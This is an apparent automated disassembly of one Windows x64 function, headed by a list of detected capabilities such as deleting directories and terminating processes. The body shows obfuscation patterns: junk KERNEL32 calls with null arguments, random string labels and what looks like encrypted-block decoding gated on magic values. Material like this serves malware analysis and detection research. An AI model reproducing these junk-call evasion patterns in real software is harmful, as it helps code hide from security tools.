Function at 0x180008e50
Capabilities:
Delete directory
Get disk information
Get file attributes
Get system information on windows
Identify system language via api
Read .ini file
Terminate process

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xe8
movzx eax, byte [0x18007add4]
test eax, eax
jne 0x18000950f
mov r8d, 0x22d
lea rdx, [0x180008a40]
lea rcx, [rsp + 0xa0]
call fcn.18000a9a0
lea rcx, [rsp + 0x60]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x60]
call fcn.18000ad40
mov eax, dword [0x18007ada4]
mov ecx, 0xa97b9af7
cmp rax, rcx
jne 0x18000901f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.EhdkLqehQcFoLhB
xor edx, edx
lea rcx, str.NAxhEyXVfqEHHYTUaFHDoCpaBKvqT
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolThreadMaximum]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDefaultDllDirectories]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GooKhDUbethllWftDgbaiAxV
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIPath]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rax, str.zcEEQwcRxSWlqCBgrdvCZTzG
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.EFTkkjciJGsFRsBsPk
xor edx, edx
lea rcx, str.iOnkcBODvoUnwLjQkFZr
call qword [sym.imp.KERNEL32.dll_CompareStringEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIdealProcessorEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
mov r8d, 0x23d
lea rdx, [0x180005590]
lea rcx, [rsp + 0xb0]
call fcn.18000a9a0
lea rcx, [rsp + 0x70]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x70]
call fcn.18000ad40
cmp dword [0x18007ada4], 0x5ab88806
jne 0x180009140
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindAtomW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FatalAppExitW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessorSystemCycleTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalReAlloc]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryTransactedW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LCIDToLocaleName]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadPreferredUILanguages]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeNumberFromHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov r8d, 0x1a3
lea rdx, [0x180002050]
lea rcx, [rsp + 0xc0]
call fcn.18000a9a0
lea rcx, [rsp + 0x80]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x80]
call fcn.18000ad40
mov byte [0x18007add4], 1
cmp dword [0x18007ada4], 0x5657b522
jne 0x180009346
xor edx, edx
lea rcx, str.uOvowdJqaAGXmzPxI
call qword [sym.imp.KERNEL32.dll_LoadPackagedLibrary]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.tMkLYqQEKBYXNkgd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStringTypeW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUserGeoID]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommConfig]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformationForYear]
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
mov qword [rsp + 0x38], 0
lea rax, str.kLClSNpAuopNWVYsBfN
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.YKbaNuTIgkpWetrOxtFhpUvyF
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.AuaRJJaTfZNDocUdjQxNXAWkE
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceInitialize]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommConfig]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FoldStringW]
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov dword [rsp + 0x50], 0x1477e
mov r8d, 0x1a4
lea rdx, [0x1800057a0]
lea rcx, [rsp + 0xd0]
call fcn.18000a9a0
lea rcx, [rsp + 0x90]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ada0
cmp dword [0x18007ada4], 0x31916a9f
jne 0x18000950a
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIdOfThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSectionWhenCallbackReturns]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryProcessCycleTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLanguageGroupsW]
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNodeEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommConfig]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupRead]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadProfiling]
jmp 0x180008e67
mov eax, 1
add rsp, 0xe8
pop rdi
pop rsi
ret